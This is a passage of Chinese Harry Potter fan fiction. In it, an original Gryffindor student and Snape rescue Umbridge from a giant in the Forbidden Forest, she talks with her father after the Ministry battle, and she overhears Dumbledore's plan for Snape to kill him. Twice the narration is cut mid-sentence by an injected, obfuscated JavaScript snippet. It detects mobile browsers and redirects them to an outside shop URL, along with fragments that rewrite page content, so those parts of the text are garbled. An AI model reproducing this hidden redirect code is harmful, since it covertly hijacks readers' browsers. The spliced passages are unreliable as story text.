“斯内普教授,您一定有办法的对不对?乌姆里奇真的会对他们用鞭///刑的!她上次就想对乔治和弗雷德用!”她恳求般看着斯内普,急得感觉自己的眼睛都变得热乎乎的,“能不能请您,救救他们?邓布利多先生和麦格教授都不在了,他们怎么办啊?” 斯内普皱起了眉,薄唇几乎是紧紧地抿着。他哽了哽喉咙,正准备开口—— “咚咚——”身后的木门响了起来,“院长!在吗?”是德拉科·马尔福的声音。 蕾雅惊讶地瞪大了眼睛,连忙再次看向斯内普,慌乱地摇了摇头。 “等等。” 斯内普冷冰冰地应着门,他侧过头来看她,指了指自己的办公桌。 蕾雅立刻感激地点了点头,快步走到了桌子后面蹲了下去藏好。 “什么事?”斯内普将门拉开了一条缝。 “乌姆里奇教授她找你过去。”马尔福的声音里有幸灾乐祸,“我们抓住了哈利·波特和他的那些小伙伴。” 14. 巨人 斯内普脸色冷硬,将被施了两个昏迷咒和一个蝙蝠精咒的斯莱特林们从乌姆里奇的办公室里捞到医疗翼里,无视了庞弗雷夫人的那堆疑问,便摔门走下楼梯。一路上的学生都被他身上那股紧绷的压抑怒气吓得退让了三尺,躲得远远的。 斯内普走出霍格沃茨的城堡,大步朝禁林的方向而去。黑袍如同海面上即将酝酿风暴的乌云,翻滚在身后。 很遗憾,那个黑发少女说得不错,在邓布利多和麦格相继离开后,他不得不接管这堆麻烦事。这也是邓布利多在走之前让他做出的承诺。 但是这并不妨碍斯内普还是很生气。生气得一路上都在酝酿着各种尖酸刻薄、讥讽生涩的咒骂台词。而这股强烈的愤怒在接近禁林入口时达到了沸点,因为在那里他撞见了刚才几乎摔在自己办公室门前的身影。 斯内普看着那个身影毫无犹豫地跑出了霍格沃茨校门,像风一样冲向禁林的方向。黑发散在她的身后,被跑步而带动的风高高扬起。 “莱恩哈特!”他朝着那个背影怒吼一声,“我警告你!这是禁区!” 那个身影只是稍作停顿,并没有停步,甚至又开始奔跑了起来。出了霍格沃茨幻影移形的界线,斯内普立刻幻影移形到了她的面前,逼着她停下来。 “我说,这是禁区!”斯内普像一堵高大墙一样挡在她前面,眼里全是愠色。 在几近撞上他的那一刻,蕾雅连忙急刹住脚步。她抬起头来,对上了斯内普那张阴沉逼人的脸庞。 她的呼吸因为急速奔跑而变得沉重,她不得不强迫自己平静下来,压抑着内心的恐慌和紧张,“教授,他们带着乌姆里奇到禁林里面去了!他们好像遇到了马人群……” “你怎么知道?”斯内普怒视着她,神情因愤怒而扭曲着。 蕾雅将手按在自己的外套口袋上,里面正放着那个耳朵状的小东西,她扯了扯嘴角答道,“教授,我不能说。” 斯内普注意到了她手上的动作,意识到也许这些学生之间有什么能通讯的东西,他冷冽地命令道,“回去,莱恩哈特。” “不行!”蕾雅朝他坚定地朝他摇了摇头。 斯内普语气压得更低了,阴冷地说,“你在这里耽误我多一秒,你的朋友就多一分危险,不要让我再重复一遍。” 蕾雅瞪了他一眼,直接擦着斯内普的身侧迈开了脚步,“您就是要扣我们多少分,关我多少天禁闭都没关系,我必须去!我不能再丢下他们了!” 斯内普一把抓着她的手臂将她拖了回来,她抬起头瞪着他。 这时,从禁林深处发出了一声嘶吼般的嚎声,蕾雅惊恐地望见本应该停驻在树林里的候鸟们正扑腾着翅膀尖叫着朝天空飞去,场面着实有点壮观。 斯内普也侧过脸去,警惕地望向声音传来的方向皱起了眉毛。蕾雅没有放过这个机会,从他手里猛地抽出了自己的手臂,迅速朝禁林里跑去。 斯内普恍惚了一瞬,狠狠地咒骂了一句格兰芬多。他最终叹了一口气,忍下朝她丢昏迷咒或者束缚咒的冲动——很显然,他无法将学生扔在这里等他从禁林里出来。这么想着,他再次幻影移形。 “你就是不会乖乖呆在这里是吗?”他出现在她不远的前方,冷冰冰地盯着她,沉着脸。 蕾雅被吓了一跳,差点就要撞进他的怀里。她艰难地顿住了脚步,执着地对上那双充满愤怒的眼眸,大声地对他说道:“是,先生。除非你对我使用束缚咒。” “你以为我不会?”斯内普冷笑一声,他举起魔杖。 蕾雅大脑一空,几乎是呆在了原地,她盯着他的魔杖,将手默默地放在自己的魔杖上面,思考着用什么咒语能抵消掉他的攻击。但她没想到,下一刻斯内普似笑非笑地扯了一下嘴角,收起了魔杖,说道,“我警告你,莱恩哈特。攻击教授是退学行为。” “唔。” 斯内普瞥了她一眼就转过身去了,“从这刻起,但凡你有任何不服从我命令的做法,我会立刻使用束缚咒。” “我会听您的,只要您让我去。”蕾雅松了一口气,连忙跟上他。 两个人迅速深入了禁林。这里的树木高高耸立,密集的树冠挡住了本应炽烈的阳光。光线只能勉强从那些缝隙里落下来,这种若隐若现的微光将树林渲染得更加神秘而可怖。空气中充斥着湿润的土壤气息,夹杂着那些树叶与动物尸体腐烂的味道,随着那阴森森的微风扑倒脸上,让人不安。 他们很快地就发现了哈利留下的脚印。一路跟着走了很长的一段路,又发现湿润肥沃的森林泥土上出现了凌乱无比的马蹄痕迹,夹杂在那些马蹄印里的还有一个巨型的脚印。再往前一些,有大量仍然湿润的新鲜血液洒在泥土上面。蕾雅看着地上的那些鲜红,心里像是被揪住了一样,一种巨大的恐惧让她背脊发麻。 “他们受伤了?”她的眼里全是担忧,有些害怕地问。 斯内普却没有回答,只是表情凝重地观察了一阵,继续领着她沿着血液滴落的方向走了过去。 “把你的魔杖拿出来。”斯内普冷冷地说,同时也举起了自己的魔杖,“如果发现什么危险,立刻想尽办法离开这里,你听明白了吗?” 蕾雅将自己的魔杖捏在手上,又望向那个突然变得谨慎的背影,“可是先生……” “闭嘴。”斯内普顿了一下,立刻打断了她,迅速地回过身来抓住了她的手臂—— 是幻影移形。 强烈的眩晕感裹着魔药的清苦味,蕾雅差点没有站稳,只得向后背靠着粗糙的树干,同时用力压下那股因幻影移形带来的恶心。斯内普站在她的前面,目光越过了她的肩膀观察着树后的情况,很快,他便抽回了视线,对她做了一个噤声的动作。 她点点头,就听见了一阵急促的马蹄声。 一匹受了伤的马人慌乱地冲过了他们刚刚站的地方,紧接着,另一匹也跑了过来,手里拿着弓箭,带着惊慌的目光,朝禁林的另一侧冲了过去。 下一刻,又一声怒吼从不远的地方轰然响起,回声在森林中震震回荡。 “巨人。”斯内普低声说,她看到斯内普的眼神变得警惕。 更多急促的脚步声,夹杂着咒骂声,还有怒吼声,纷纷从禁林的深处奔涌而来。突然,蕾雅感到地面在自己的脚下颤抖,那种颤动感越来越频繁,仿佛要将这片土地压碎一般。 “哈格!”是嚎叫声,撕心裂肺,“哈格!” 更多的马人冲了出来,“攻击!”一个马人怒火冲冲地吼道,蕾雅看见他们都举着弓箭,凶猛地射向后方。而就在那个方向,空气中突然裂开了一道清晰可闻的裂缝声,一个巨人将那些高大的乔木扯开,吼叫着冲向了那些马人。巨人的脚步声让整个森林都为之一震,树叶在不断颤抖的空气中发出沙沙的响声。 斯内普将少女挡在身后。蕾雅紧紧地捏着自己的魔杖,却无法阻止冷汗的冒出。她愣愣地看见那个巨人身上淌满了鲜血,正愤怒地抓着自己的脸,又用粗壮的手臂无序地挥向那些马人。 更多的箭朝巨人袭去,但巨人丝毫没有任何的退缩,左手捏着一个粉红色的东西甩向了巨人们。这下蕾雅倒是看清楚了。 “乌姆里奇?”她小声地惊呼了一句,那个粉红色的人形物体被巨人甩了出去,砸在了其中一个马人的身上,又被弹飞,重重地摔在一块巨石旁边。 “看来波特已经不在这里了。”斯内普低声说道,心里明白波特可能是利用了这些巨人和马人脱身。那么,他会去哪里呢?——答案几乎是显而易见的。此时的斯内普几乎难以抑制心中的怒火,恨不得立刻将那张带着眼镜的脸撕碎。 “我们要救她吗……”蕾雅小声而犹豫的声音将斯内普的思绪拉回。 “如果你不想霍格沃茨明天就被魔法部封锁的话。” “好、好吧。”她看着黑发巫师宽广的背问道,“可是,教授,您能战胜那个巨人?” 眼前的巨人依旧在那里与马人们搏斗着,尽管已经全身都是细箭造成的伤口,他依然丝毫没有任何的退让,嘴里的怒吼几乎要把这片树林震碎。他发疯一般扫飞着面前的马人,再次踏着步朝乌姆里奇躺着的地方走去,也许是把她当做了一件趁手的武器。 哦梅林,她还活着吗? 斯内普咂了咂嘴,开始制定策略。但即便是熟知各种高强咒语的他,对付一只全力爆发的巨人也会感到无比棘手。巨人的皮肤太厚,几乎难以穿透,普通的魔咒根本无法起效。斯内普皱着眉,每一个想到的方案, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593424|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他都迅速地在脑海里演练一遍,推敲着可行性,然后不得不一一摒弃。蕾雅看着斯内普有些为难的神色,张了张嘴,没能说出话来。 他又紧盯着面前的巨人,忽而发现他的身形比起普通的巨人小了很多,也许是一个仍然处在童年期的巨人。 等等,童年期?那么…… 斯内普突然回过头来看着蕾雅,少女一脸困惑地回望。 “莱恩哈特,你会用魔杖奏乐吗?” 蕾雅被他这个看起来毫不相关的问题愣住了,几乎所有会乐器的巫师都有练习这种不用乐器便能奏乐的魔咒。她疑惑地答道,“呃,会啊?” “摇篮曲,快!” 蕾雅几乎是不敢犹豫,她深吸一口气,将自己的肩膀放松了些。右手举起了魔杖抵在自己的额前,左手则如同放在了钢琴上面一样稍稍抬起手腕。 就在那些打斗声里,她清空了一切的思绪。她在心里默念着一、二、三,灰白色的魔杖轻挑着空气落了下去,伴随着划出的轨迹,她的左手轻轻按下,仿佛真的有一架钢琴在那里一样。一个音符蹦了出来,紧接着是第二个,更多的声音从她的魔杖下面淌了出来,渐渐化成一首温柔的旋律,又如同夏夜柔和的月光,轻柔地安抚过这片本该阴森骇人的禁林。 斯内普眉头一挑,看了一阵面前这个专注的少女,才压着声音开口说,“在我说结束之前,不要停止。” 蕾雅一边弹奏着一边点头。 斯内普转过身去再次观察着场上的情况。他看见巨人停住了攻击,似乎是被乐声吸引住了,一屁股坐在了一块巨石上面,茫然地眨了眨眼睛。巨人前面的马人们也都愣住了,但很快就察觉到了音乐传来的方向,一只试探性的箭飞了过来,被斯内普一个防护咒挡掉了。 斯内普从树后走了出来,谨慎地放下了手中的魔杖,举起双手看向马人的首领,语气里多了几分郑重,“听着,我无意冒犯。我知道你们不愿看到同胞受到更多的伤害。趁着巨人被暂时迷住,现在是撤退的好时机。” 首领马人看了看巨人,又紧张地打量了斯内普一番,随后缓缓点了点头,发出了低沉的嘶鸣,做了一个撤退的手势。几个没有受伤的马人小心翼翼地拖起了受伤的同伴,慢慢地退回了禁林的深处。 巨人完全沉浸在蕾雅的琴声里,开始放松那庞大的身躯,眼皮沉重地打起了瞌睡。斯内普抽了抽嘴角,谨慎地举着魔杖绕开了巨人,走向乌姆里奇躺着的地方。他在离她几米的地方停住了脚步,迅速地用漂浮咒将她浮了过来。在扯到她衣服的瞬间,斯内普就直接使了一个幻影移形。 几秒过后,斯内普再次出现在了少女面前,盯着她说道:“可以结束了。” 少女看着他那张面无表情的脸,点点头将魔杖放下,乐声戛然而止。 蕾雅看见斯内普朝她伸出手来,下一个瞬间,那些粗糙的古木树干在她眼前迅速模糊。回过神来的时候,她发现自己已经在霍格沃茨的正门前了。她再次捂住嘴咽下那股令人难受的眩晕感,眼睛瞥见乌姆里奇被放在了旁边的草坪上,身上布满了泥土和血迹,奄奄一息。 “她还活着吗。”蕾雅试探性地问斯内普。 “也许。”斯内普冷淡地看了乌姆里奇一眼,随手施了个咒变出了一个担架,将乌姆里奇搬到了上面。 蕾雅突然意识到什么很重要的事一样,急切地看向斯内普,“先生,哈利他们呢?” “这不是你要担心的事,莱恩哈特。”斯内普回看了她一眼,又说道,“你的漂浮咒怎么样。” “还可以。”蕾雅眨了眨眼。 “那就把她送到医疗翼去,告诉庞弗雷夫人是我命令的。如果她有更多问题,跟她说我晚些会亲自解释。”斯内普说。 “好、好的,先生。”蕾雅又点了点头,连忙答道。 下一刻,斯内普就消失在空气里了。 蕾雅知道他是去找哈利了,也许还去找邓布利多了。 她看了一眼地上昏迷不醒的乌姆里奇,努力将心里的厌恶感压下,才将担架浮了起来,颤颤悠悠地浮在她的身边走向城堡。 那副担架在上楼梯的时候不小心磕碰了好几下,蕾雅发誓真的是她能力有限,而不是有别的原因。 15. 父亲 从医疗翼回来以后,蕾雅就发现自己根本无法平复自己的心情。刚坐下便又很快地起身,想做什么事又都没有办法专心。最后,她不得不在格兰芬多公共休息室里来回踱步。 蕾雅的心里焦急得不行,但又意识到真的已经没有任何她可以做的事情了,她唯一可以做的只有等待。她烦躁地盯着变得黯淡的窗户,那些本应折射出斑斓色彩的玻璃此时变成了黑沉沉的一片,才发现时间已经是晚上,休息室的魔法烛火不知什么时候亮了起来,将格兰芬多的红色沉得昏暗。 所有她在霍格沃茨熟知的人此刻都不在城堡里。 哈利、罗恩、赫敏、金妮、纳威、乔治、弗雷德、卢娜,还有邓布利多先生、麦格教授,和斯内普教授。 她就像一只掉了队的候鸟,一个人,被留在了这里。 身后有两个低年级的格兰芬多学生正在玩着高布石,不时发出一些欢快的声音,蕾雅本想让他们小声一点,刚回过头朝他们看去,却瞥见他们后方垂挂着格兰芬多旗帜,上面画着一头勇猛威武的雄狮,狮子的底下用明亮的金丝绣着——Forti Animo Estote(要有勇气)。 Forti Animo Estote——(1) 是啊,格兰芬多精神,埋藏心底的勇气。 而有勇气的真正格兰芬多,此时是不应该坐在公共休息室里等待的。一想到这里,她觉得失落感就像冰冷的海水一样,快将她淹没。 就在这时,入口的肖像门突然被推开了,蕾雅立刻就跑了过去。 就在那里,灰头土脸的赫敏、罗恩还有金妮,一个接着一个爬了进来,跌跌撞撞地进入了蕾雅的视线。她看见他们脸上挂着伤,也挂着泪痕,看起来疲惫得快要死掉了,但是都还活着。 “噢梅林,你们没事!你们没事!”蕾雅几乎是一瞬间就哭了出来,她站在那里,一个接一个地拥抱着他们。 “我们没事,蕾雅,我们没事!”赫敏也哭了起来,劫后余生的眼泪是那样的不受控制。 “你们没事!你们真的没事?”蕾雅小心翼翼地抱着赫敏,生怕弄疼了她,又抹了抹自己的眼泪看向身后的罗恩和金妮,“哈利呢?纳威和卢娜呢?” 金妮的情绪倒是比赫敏要平静一些,她朝蕾雅说道:“都活着,纳威鼻子断了,现在在医疗翼呢。卢娜扭到脚了,包扎一下应该就没事了。哈利也没事,是被邓布利多先生带去校长室了。” 罗恩仍然处于混乱的状态,捂着自己的胸口茫然地喃喃着:“噢梅林,我们还活着,我们还活着,等下再说,我需要点黄油啤酒……”他走向休息室的另外一头。 蕾雅又连忙继续问道:“布莱克先生呢?” 赫敏用力地抹了抹自己的眼底,松开了蕾雅,看着她说道:“活着,大家都活着!虽然他受了很重的伤,但是他会活着的。” 蕾雅长长地松了一口气,觉得这么漫长的等待倒也是值得了。 “有谁要喝黄油啤酒?”罗恩不知道从哪个角落里翻出了一打乔治和弗雷德偷藏的黄油啤酒,举了起来,右手用魔杖指着纸盒子说道:“我想我可以给他来点冰。” “这都是多亏了你。”金妮先是朝蕾雅说了一句。而后,她径自走到了沙发上坐下,朝罗恩挥了挥手说道,“给我一瓶。” 罗恩抱着纸箱子一屁股坐在他们身边,很快就拎起一瓶黄油啤酒。一声清脆而愉悦的“砰”响在公共休息室里,随后是气体的嘶嘶声,黄油啤酒特有的香甜气息弥漫开来。蕾雅有些好笑地看着罗恩和金妮在那开黄油啤酒,后知后觉地问道,“我?” 赫敏也拉着蕾雅坐在了沙发上,气也不喘地就说了起来,“整个梦就是个陷阱,是神秘人故意骗哈利去的。食死徒埋伏在那里,我们都被吓坏了,就在以为要完了的时候,莱恩哈特先生带着魔法部的几个傲罗来了,然后凤凰社的人来了。” 罗恩仰头,一口将冒着微微气泡的黄油啤酒灌下,感叹道:“哦梅林。活过来了。” “爸爸?”蕾雅惊呼一声,“你见到了我爸爸?” “哦,莱恩哈特先生今晚可帅了,一发四分五裂一发除你武器,直接将两个食死徒打进了那些帷幕里。”缓过来的罗恩又打开了两瓶黄油啤酒,很有礼貌地递给赫敏和蕾雅两瓶已经开了口的黄油啤酒。 “然后神秘人现身了,邓布利多也现身将他击退了。”金妮喝着黄油啤酒说,“我说,邓布利多先生真的太酷了。魔法界不可以没有他。” “噢梅林。”蕾雅努力地想象着那些打斗画面,“我不敢想象你们到底经历了什么。” “我倒是没想通,凤凰社和邓布利多怎么知道我们去魔法部了呢?”赫敏也拿起了黄油啤酒,小小地喝了一口。 罗恩倒是耸了耸肩,说道,“那可是神通广大的邓布利多,你不会知道他能预见多少事。” 蕾雅刚刚举起那个玻璃瓶又放下了,认真地看向他们,准备将下午自己这边的状况也跟好友们分享一下,“其实是……”她刚开口,公共休息室的门就又被打开了—— 他们都以为是哈利回来了,齐刷刷地转过头去,罗恩的手都已经按在一瓶新的黄油啤酒上面了。 但是站在门口的却是霍格沃茨校长邓布利多。老巫师的脸上有疲惫之色,白花花的胡子看起来有些凌乱,平时熠熠生辉的紫色星月袍也沾满了污渍,但那双湛蓝色的眼睛却是那样的明亮。 “晚上好,孩子们。”邓布利多朝沙发上狮子们打了个招呼,笑了起来,“噢,噢,黄油啤酒,这真是个不错的选择。要是有时间我也想来一瓶。” “先生,我给您开一瓶?”罗恩指了指茶几上还没开封的啤酒。 “不用了不用了,”邓布利多摆了一下手,看向了蕾雅,“蕾雅。跟我来一下好吗?雷格纳来了。” “呃,爸爸来了?”蕾雅难以置信地看向邓布利多,慌忙站起身来,跟赫敏他们挥了挥手。 一路上,霍格沃茨的学生都在跟邓布利多打招呼,欢喜雀跃地迎接这位伟大的明星校长归来。显然,下午乌姆里奇受了重伤被送去圣芒戈的消息已经传遍了整个城堡。 蕾雅跟着邓布利多一路来到了二楼长廊尽头的一间空教室,还没走到门口就听见人声传了出来。 “事实是,如果今天没有她寄出的那封信,您以为魔法部会遭受怎样的损失?……神秘司今晚摔破的预言球和时间球可就不止二十年的份了。”咦,怎么是斯内普的声音? “斯内普教授,我根本不想她卷入这些事情里。”语重心长的,是她父亲的声音。 “然而,我必须说,您也许应该尊重她本人的意愿。”斯内普又说道,只是语气里没什么感情,“或许,您女儿比您想象中执着得多。” 呃……她忽而想起来下午跟斯内普在禁林里的事,希望他本人没有将这件事告诉她父亲。 黑发少女有些忐忑地看向身后的邓布利多。但老巫师只是笑了笑,伸手敲了敲门,用眼神示意她进去。 本来她还看见雷格纳·莱恩哈特一脸愁容,但是就在见到自己的那一刻,这位神秘司缄默人立马迎了过来,将她拥入怀里。 “蕾雅!”雷格纳用缠着绷带的手抱她。 蕾雅好像瞥见了对面那个跟往常一样抱着双臂的黑发巫师,一脸漠然地移开了目光,邓布利多的轻笑声正从自己的身后传来。 “爸爸,你快勒死我了。”被两位教授注视着,蕾雅的脸立刻就红了起来,难堪地轻轻推开雷格纳,“你受伤了?” “没什么大碍,只是擦伤。”雷格纳放开她,摆了摆绑着绷带的手,又拉起衣袖给她看了一眼。而后,他抬头对邓布利多点了点头,“谢谢您带她来,校长。” “是我们今天要谢谢你,雷格纳,还有蕾雅。”邓布利多捋了捋胡子,“如果没有你们,我根本不敢想象会发生什么事,也许会出现最糟糕的情况。” 说到这个事,雷格纳刚才看见自己女儿而绽开的热烈笑容也淡了下去。 “西弗勒斯,那么这里就交给你了。”邓布利多仿佛忽略了这种变化。只是保持着和蔼的笑容看向斯内普,但蕾雅看见他半月形的眼镜后面透出一丝暗示的味道,“我还有一些手续要去处理。” “嗯,您去吧。”斯内普微微颌首。 “雷格纳,改天一定要再来,跟我好好说说你在魔法部的工作。” “回见,校长。”雷格纳礼貌地向邓布利多示意。而后者眨了眨左眼,轻轻带上了门。 “爸爸,你怎么来了?”蕾雅后知后觉地问了起来。 “刚好从圣芒戈出来的时候碰见了邓布利多校长,就一起来了。”雷格纳顿了顿,侧过头来看着斯内普,微笑着说,“斯内普教授,我想单独跟蕾雅说说话。” “我在外面等您。”斯内普平淡地应着。 雷格纳却朝斯内普摇了摇头,“我知道您今晚照顾伤员会很忙的,不麻烦您等我了。我也曾是格兰芬多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593425|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的学生,我认得路。” “好吧,别超过学生宵禁时间就行。”斯内普依旧冷淡地说着,扫了蕾雅一眼,大步跨了出去,消失在教室门口。 听见那阵脚步声走远了,雷格纳拉着蕾雅坐了下来。蕾雅依旧有些困惑地看着自己父亲正用没受伤的手捏了捏自己的鼻梁,他橄榄绿色的眼睛里有很重的忧虑,平时闪闪发亮的金发好像也没有那么精神——父亲,好像一下子老了许多。 雷格纳重重地叹了一口气,沉着嘴角,看向她,“让我看看你的手。” 蕾雅愣了愣,但很快就明白了他的意思,她顺从地将双手都递过去。雷格纳垂着眼,将她的手握在自己的手里,用拇指轻轻地摩挲着手背,“没有留疤吧?” “没有,是斯内普教授替我治的。”蕾雅诚实地说道。 “哦,斯内普教授。”雷格纳扬了扬眉毛,嘴角耷拉得更往下了,“关于他,我们等下再说。” 雷格纳又叹了一口气,似乎在组织语言。过了一阵,他开口道:“爸爸想问你,为什么要参加这些事?” “什么叫这些事?今天如果我没有给你寄那封信……”蕾雅谨慎地观察着自己的父亲。 “是,如果你没有给我寄那封信,我相信今天那个场面是一定会有人逝去的。”雷格纳的脸色开始变得沉重,他摊开了双手,用自己的右手轻轻地拉着左手绷带的线头,“问题就在这里,蕾雅。这些事,是会有人逝去的。” 蕾雅有些没明白他在说什么,只能怔怔地看着自己父亲有些痛苦的脸。 “爸爸本来的愿望真的很单纯。” “我知道,你只希望我健康快乐地活着。” “我的意思是,这是一场战争,一定会有人死去有人受伤的,”雷格纳缓缓开口,将视线看向了别处,“我不想那个人是你,蕾雅。或许我这么想很自私,但我愿意做这样一个自私的父亲。我希望尽一切可能保护你,我希望你有一个和平快乐的人生,而不是时时刻刻被这些危险包围。这也不应该是你们这些学生该参与的事。” “可是哈利……”她喃喃道。 “哈利是不得已,而你不是。”雷格纳很直接地指出这一点。 蕾雅发现自己正淌出眼泪来,她侧过脸不敢看他,很快速地抹了抹自己的眼泪。她在桌上支起了双手,挡住了自己的脸。 雷格纳察觉到了她的动作,伸出那只没受伤的手来轻抚过她的头发,又摸了摸她的头顶。 过了一阵,蕾雅从手中重新抬起头来,直直地看向自己的父亲,“爸爸,我知道你的愿望。” 她艰难地选择着措辞,“可是,我也发现了,逃避并不能使我带来快乐。我或许会不受伤,我或许会能够活下去,但我已经发现了这样并不会让我快乐。我想去做那些我想做的事,那些,需要我去做的事,那些,只有我才能做的事。” 雷格纳愣了一下,抿着嘴凝视着自己的女儿,她的绿眸清澈无比,烛火倒映在她的眼睛里,明亮的,璀璨的,就好像真的有光在里面一样。 他忽而觉得自己的女儿有什么不一样了,也觉得自己好像,再也不能将她困在自己为她施加的保护罩里了。 雷格纳沉默了很久,久到蕾雅以为他正在生闷气。 “爸爸?” 雷格纳只是缓缓地点了点头,他再次抬手摸了摸她的脑袋,觉得自己的喉咙有些闷,“不说了,回去吧宝贝,已经快到宵禁时间了。反正马上暑假了。” 他站起身来,蕾雅也跟着他一起站起来。 他们一同走了一段路,城堡的烛火将他们父女的身影长长地映在霍格沃茨那些古老的墙上。 蕾雅突然又问,“哦,你刚刚说斯内普教授……” “哦差点忘说了,”雷格纳顿了顿,“我希望你不要跟他走太近。爸爸不太喜欢他。” “是因为他以前是食死徒吗?可是他好像已经改过了,邓布利多先生很信任他。”蕾雅皱着眉头说道。 雷格纳只是笑着转移了话题。他陪着女儿一路感慨着自己的青春,一路走到格兰芬多公共休息室的长廊拐角处,便跟她道了晚安。 但他没有立刻离开,而是一直站在那里望着,直至蕾雅慢悠悠地钻进了格兰芬多公共休息室。 他看着那令他怀旧的胖妇人画像,喃喃道: “不,爸爸只是出于直觉地不太喜欢他。” (1)引自HP Fandom Wiki,原文是在彩色玻璃上的。 16. 秘密 时间已经来到了学期的最后一天。 蕾雅坐在钟塔庭院的石凳上,让自己被六月末的明亮阳光笼罩着,希望这些明媚能赶走自己内心的阴霾。空气里已经有了很轻微的热气,她面前的喷泉正在金灿灿的暖阳下反射着光,喷泉四周的红玫瑰白玫瑰更是开得灿烂,花瓣上有点点水珠,被太阳照得熠熠生辉。 自从那天莱恩哈特先生来过以后,她的心里一直闷闷的。 父亲那张疲惫而又担忧的脸不停地在她的脑海里浮现出来。她思考着父亲的话,犹豫着是不是真的该如此执着地去参加这些她并非不得已的事。一时的冒险精神褪下以后,她意识到自己其实很害怕看见父亲那副落寞的模样。 但这种思考就在昨晚戛然而止了。 昨天晚上的月亮是一种特别清冷的苍白,星星也是一种凄凉的浅灰色,这在本该明朗的夏夜是一种不多见的情况。 因为纳威终于痊愈离开了医疗翼,哈利他们决定在公共休息室里小小的开一场庆祝的派对。但是蕾雅选择没有参加,她害怕那种热闹的氛围会让自己变得难以抽出身来。她撒了一个要去斯内普那里关最后一次禁闭的谎——梅林知道不会有人敢去跟他对质的。 只是刚离开公共休息室她就后悔了。 蕾雅发现自己依旧很羡慕他们那种奋不顾身的生活,每个人好像都有那么必须去做的理由。 那么,她的理由是什么呢?仅仅是为了不像一只落单的候鸟一样在公共休息室里等候吗? 她漫无目的地穿行霍格沃茨的城堡里,试图理清自己的思绪,等回过神来的时候,她已经走到天文塔前的庭院里了。初夏的苏格兰,夜晚是仍带有一丝凉意的,特别是今夜这种惨淡的月光下。少女拢了拢身上的外套,无意识地将手放入自己的口袋里,然后摸到了一个小小的东西。 哦,正是这个拉文克劳女生送的小东西,才让她那天知道了哈利他们进入了禁林并遭遇了马人,才有了那样一次跟斯内普一起的冒险。 她愣了愣,突然有些好奇哈利他们在做什么。 蕾雅向梅林发誓,这是她最后一次这么做,等今天之后,她就会把这个东西销毁。 就这么想着,她拐进了一间空无一人的天文学教室,就在那凄清的夜色下,她听到了一些她完全不该听的东西—— ——“你打算让他把你杀死?” ——“当然不是。必须由你杀死我,西弗勒斯。” 是她的校长,正在请求她的魔药学教授,杀死自己。 对话一直持续到斯内普摔门离开了邓布利多的办公室,蕾雅是跌坐在教室的地板上听完的。 那是一场令人惊悚的对话,那里面不仅包括了神秘人的计划,包括了邓布利多的部署,也包括了她的魔药学教授在他们这一场战争里扮演的角色,以及邓布利多如此信任他的解释——斯内普一直没有放弃食死徒的身份,而他也正是邓布利多插在神秘人身边的间谍。 骇人的巨量信息让这位仅仅十七岁的少女一个晚上没有睡着觉。她不断地回想着他们对话的细节,猜测着里面深埋的意义。她先是被邓布利多那深谋远虑所折服,而又为他那已经开始快速倒计时的死亡感到难过——这位伟大的白巫师明明才刚回归霍格沃茨,学生们都那样地欢呼雀跃地庆祝着…… 但是很快地,蕾雅又意识到了一个令人更加难以接受的事情—— 杀死邓布利多以后的斯内普会怎么办?他还能回到这一边吗?他明明一直在暗暗保护哈利他们啊? 而且,没有了邓布利多,他们还能赢吗?万一、万一,万一神秘人赢了——那斯内普……?他会怎么样呢?更重要的是,要是他的身份暴露了呢? 无论推算着多少种可能的结果,蕾雅都觉得这位教授在独自承担一件没有任何未来、也没有任何退路的事情。 “时代巨轮与历史浪潮的棋子,也是弃子。”(1) 蕾雅没缘由地想到自己在母亲的历史书籍上看到的话,紧接着,一种无力和绝望就那样铺天盖地袭来,像是一点点被漆黑无光的海水吞没着,眼前的一切瞬间如惨淡的星月一样开始褪去了颜色。 她又忽而想起那个夜晚的清苦味,那个早晨的温暖光芒,大雨里的黑袍,与映在他背影上的,夜雪的净白与霍格沃茨烛火的暖黄。 她的心脏在抽抽地疼,很疼。 在这明晃晃的午后暖阳里,蕾雅却感觉自己的血液正在慢慢变得冰凉,她看着那些落在地上的喷泉水珠,再一次重重地叹了叹气。就在这个瞬间,她瞥见了正站在图书馆塔楼二层长廊上眺望的邓布利多,老巫师正用自己的左手顺着那把白花花的胡子,身上紫红色的长袍衬得他的脸有些苍白。 蕾雅一跃而起朝那个方向跑去。等她气喘吁吁地跑到的时候,邓布利多还站在那里,和蔼地看着来来往往的霍格沃茨学生们。 “邓布利多先生!”蕾雅喘着气,朝邓布利多走去。 “哦,蕾雅?怎么了?快喘口气。”邓布利多侧过身来,蕾雅发现他将他的右手藏在长袍里面。 “我有事情想跟您,谈谈。” “是什么事呢?”邓布利多依然笑呵呵地看她。 蕾雅张了张嘴,却不知道怎么开口,只能为难地看着他眼镜后的湛蓝色眼睛,“是关于,斯内普教授的。” “斯内普教授?是不是他又给格兰芬多扣分啦?没关系没关系,麦格教授已经回来了,你不用太担心。”他摆了摆手。 “啊?麦格教授回来啦?”蕾雅发现这或许是今天听见的最开心的事了,过了一阵才后知后觉自己跑偏了,连忙又走上去,小声地说道,“呃,不是扣分的事。先生……也许不适合在这里说。” 邓布利多愣了一瞬,笑着说,“也许我们该来点下午茶?” 蕾雅局促地坐在这间她几乎没有来过的校长室里,一切都是陌生的。 